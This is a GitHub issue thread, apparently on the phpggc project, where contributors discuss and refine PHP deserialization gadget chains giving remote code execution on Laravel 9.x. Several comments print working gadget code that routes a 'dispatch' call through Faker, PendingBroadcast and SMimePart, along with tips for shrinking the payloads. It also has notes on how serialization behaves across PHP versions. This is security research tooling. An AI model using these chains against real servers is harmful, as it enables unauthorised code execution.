Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New pop chains for Laravel 9.12.2 #118

Closed
GlitchWitch opened this issue May 17, 2022 · 12 comments
Closed

New pop chains for Laravel 9.12.2 #118

GlitchWitch opened this issue May 17, 2022 · 12 comments
Labels
gadget chain This issue could yield a new gadget chain.

Comments

@GlitchWitch
Copy link

GlitchWitch commented May 17, 2022

Looks like someone published 4 new exploits for Laravel via an unserialize pop chain in __destruct and dispatch($command).. I tested them and confirmed they work.

source:
1nhann/vulns#1
1nhann/vulns#2
1nhann/vulns#3
1nhann/vulns#4

Posting here since this may be of interest to implement into phpggc

@GlitchWitch GlitchWitch changed the title New gadgets for Laravel 9.12.2 New pop chains for Laravel 9.12.2 May 17, 2022
@GlitchWitch
Copy link
Author

Looks like the original author has submitted a PR in #119

@cfreal
Copy link
Collaborator

cfreal commented May 24, 2022

Hello GlitchWitch,

Added the one you referenced. @1nhann, any plans to push the three others ?

Charles

@cfreal cfreal added the gadget chain This issue could yield a new gadget chain. label May 24, 2022
@1nhann
Copy link
Contributor

1nhann commented Sep 25, 2022

Hello GlitchWitch,

Added the one you referenced. @1nhann, any plans to push the three others ?

Charles

Hello @cfreal,
There's no plans to push the others , the other chains are based on a trick , which I discovered to bypass the __wakeup . And I think it is not that easy to add this feature to phpggc for the trick rebuilds the raw serialization data directly.
You can visit https://inhann.top/2022/05/17/bypass_wakeup/ to read the information about the trick , and I'm glad to help if you are going to add some features to phpggc based on this trick .

@mir-hossein
Copy link
Contributor

Hello,

A quick solution for that could be to use the return unserialize(...); instead of the echo base64_encode(...);.

Tested and worked. (As Laravel/RCE11)

Good luck.

@1nhann
Copy link
Contributor

1nhann commented Sep 30, 2022

Hello,

A quick solution for that could be to use the return unserialize(...); instead of the echo base64_encode(...);.

Tested and worked. (As Laravel/RCE11)

Good luck.

Thanks , added . #126

@cfreal
Copy link
Collaborator

cfreal commented Oct 12, 2022

Hi everybody,

I finally had the time to process this ticket. Cool idea.
You don't need to modify your serialized payload to add a reference (the R:2; marker), you can do it using PHP !
For instance:

class X {
    public $a;
    public $b;

    function __construct()
    {
        $this->a = 3;
        $this->b = &$this->a;
    }
}

print serialize(new X());

# O:1:"X":2:{s:1:"a";i:3;s:1:"b";R:2;}

This is even more portable because we can now integrate the gadgetchain in a bigger payload, and the reference number will still be correct.

I will update the submitted Laravel/RCE11 GC to reflect this !
Great work

Charles

@mir-hossein
Copy link
Contributor

mir-hossein commented Oct 13, 2022

Hello,

Thanks @cfreal,

I tried to use references weeks ago, but I failed because of a mistake in my code.

I updated the rest of the code with your gadget. I can provide some suggestions:

Abstraction has no effect in serialization process, so we can remove it, and this will allow us to instantiate "AbstractPart" class and to use its constructor and will not need to define a new method ("createBroadcast").

I mean: gadget.php

<?php

namespace Faker
{
    class Generator
    {
        protected $providers = [];
        protected $formatters = [];
        
        function __construct(&$formatters)
        {
            $this->formatter = "dispatch";
            $this->formatters = &$formatters;
        }
    }
}

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct(&$formatters, $parameter)
        {
            $this->event = $parameter;
            $this->events = new \Faker\Generator($formatters);
        }
    }
}

namespace Symfony\Component\Mime\Part
{
    class AbstractPart
    {
        private $headers = null;

        public function __construct($parameter)
        {
            return new \Illuminate\Broadcasting\PendingBroadcast($this->headers, $parameter);
        }
    }

    class SMimePart extends AbstractPart
    {
        protected $_headers;
        public $inhann;

        function __construct($function, $parameter)
        {
            $this->_headers = ["dispatch" => $function];
            $this->inhann = parent::__construct($parameter);
        }
    }
}

Or even better: (By removing "AbstractPart" class and using "$headers" property in "SMimePart" class. This one generates ~16% smaller payloads. Tested and worked v9.3.8,v9.35.1.)

<?php

namespace Faker
{
    class Generator
    {
        protected $formatters = [];
        
        function __construct(&$formatters)
        {
            $this->formatters = &$formatters;
        }
    }
}

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct(&$formatters, $parameter)
        {
            $this->event = $parameter;
            $this->events = new \Faker\Generator($formatters);
        }
    }
}

namespace Symfony\Component\Mime\Part
{
    class SMimePart
    {
        protected $_headers;
        public $inhann;
        private $headers = null;

        function __construct($function, $parameter)
        {
            $this->_headers = ["dispatch" => $function];
            $this->inhann = new \Illuminate\Broadcasting\PendingBroadcast($this->headers, $parameter);
        }
    }
}

Thank you.

@cfreal
Copy link
Collaborator

cfreal commented Oct 13, 2022

Hello @mir-hossein, although I like the idea of reducing payload size, your second statement is incorrect.
By default, a private property gets serialized as \x00NameOfClass\x00nameOfProperty.
If the private property is defined in SMimePart instead of AbstractPart, its rightful class, the property gets incorrectly defined as \x00SMimePart\x00headers. It works for later versions of PHP, because the deserialization process has changed. In PHP 8.x, you can even define every property as public, and it works out! However, in PHP 5.6 for instance, you get incorrect results.

<?php

class A {
    private $x = 3;

    function __construct($x) {
        $this->x = $x;
    }

    public function display() {
        print "x is $this->x\n";
    }
}

class B extends A {
}

$s = serialize(new B(4));
$z = str_replace("\x00A\x00", "\x00B\x00", $s);
$u = unserialize($z);
$u->display();

Let's run this with different PHP versions:

$ php5.6 lol1.php
x is 3
$ php7.1 lol1.php
x is 3
$ php8.0 lol1.php
x is 3
$ php8.1 lol1.php
x is 4

@mir-hossein
Copy link
Contributor

Hello @cfreal,

Thanks for your explanation. Sorry, I had tested it only in PHP 8.1, Laravel 9.3.8, Framework 9.35.1. You are right.

lol2.php

<?php

class A {
    private $x = 3;

    function __construct($x) {
        $this->x = $x;
    }

    public function display() {
        print "x is $this->x\n";
    }
}

class B extends A {
}

$s = serialize(new B(4));
$z = str_replace("\x00A\x00", "\x00B\x00", $s);
var_dump(unserialize($z));

Results:

$ php8.1 lol2.php                // Works 
object(B)#1 (1) {
  ["x":"A":private]=>
  int(4)
}

$ php8.0 lol2.php               // :(
object(B)#1 (2) {
  ["x":"A":private]=>
  int(3)
  ["x":"B":private]=>
  int(4)
}

$ php7.4 lol2.php              // :(
object(B)#1 (2) {
  ["x":"A":private]=>
  int(3)
  ["x":"B":private]=>
  int(4)
}

$ php5.6 lol2.php            // :(
object(B)#1 (2) {
  ["x":"A":private]=>
  int(3)
  ["x":"B":private]=>
  int(4)
}

I didn't test the Object deserialization result in older PHP versions.

lol3.php

<?php

class A
{
    private $x = 3;

    public function display()
    {
        print "x is $this->x\n";
    }
}

class B extends A
{
    public function __construct($x)
    {
        $this->x = $x;
    } 
}

$s = serialize(new B(4));
$z = str_replace("\x00A\x00", "\x00B\x00", $s); 
var_dump(unserialize($z));

Results:

$ php5.6 lol3.php 
object(B)#1 (3) {
  ["x":"A":private]=>
  int(3)
  ["x":"B":private]=>
  int(3)
  ["x"]=>
  int(4)
}

$ php7.4 lol3.php 
object(B)#1 (2) {
  ["x":"A":private]=>
  int(4)
  ["x":"B":private]=>
  int(3)
}

$ php8.0 lol3.php 
object(B)#1 (2) {
  ["x":"A":private]=>
  int(4)
  ["x":"B":private]=>
  int(3)
}

$ php8.1 lol3.php                // OK
object(B)#1 (1) {
  ["x":"A":private]=>
  int(4)
}

Only works in PHP 8.1. :(

New suggestion: this one generates ~15% smaller payloads :)
Two properties were removed.

gadget.php

<?php

namespace Faker
{
    class Generator
    {
        protected $formatters = [];
        
        function __construct(&$formatters)
        {
            $this->formatters = &$formatters;
        }
    }
}

namespace Illuminate\Broadcasting
{
    class PendingBroadcast
    {
        public function __construct(&$formatters, $parameter)
        {
            $this->event = $parameter;
            $this->events = new \Faker\Generator($formatters);
        }
    }
}

namespace Symfony\Component\Mime\Part
{
    class AbstractPart
    {
        private $headers = null;

        public function __construct($parameter)
        {
            return new \Illuminate\Broadcasting\PendingBroadcast($this->headers, $parameter);
        }
    }

    class SMimePart extends AbstractPart
    {
        protected $_headers;
        public $inhann;

        function __construct($function, $parameter)
        {
            $this->_headers = ["dispatch" => $function];
            $this->inhann = parent::__construct($parameter);
        }
    }
}

Tested:

PHP: 7.4.32, Laravel: 8.6.12, Framework: 8.83.25
PHP: 8.1.11, Laravel: 9.3.8, Framework 9.35.1.

@cfreal
Copy link
Collaborator

cfreal commented Oct 14, 2022

I am considering making it an option at some point in the future: make every property public to save space and to get rid of null bytes (even though we could use S). This is pretty niche and I can't think of any use for it ATM though. Regarding the GC, if you want you can PR your new code!

@mir-hossein
Copy link
Contributor

I am considering making it an option at some point in the future: make every property public to save space and to get rid of null bytes (even though we could use S).

Excellent idea👍. Every time I talk to you, I learn something new. Thanks @cfreal.

@cfreal
Copy link
Collaborator

cfreal commented Nov 3, 2022

Let's close this (for now).

@cfreal cfreal closed this as completed Nov 3, 2022
This issue was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
gadget chain This issue could yield a new gadget chain.
Projects
None yet
Development

No branches or pull requests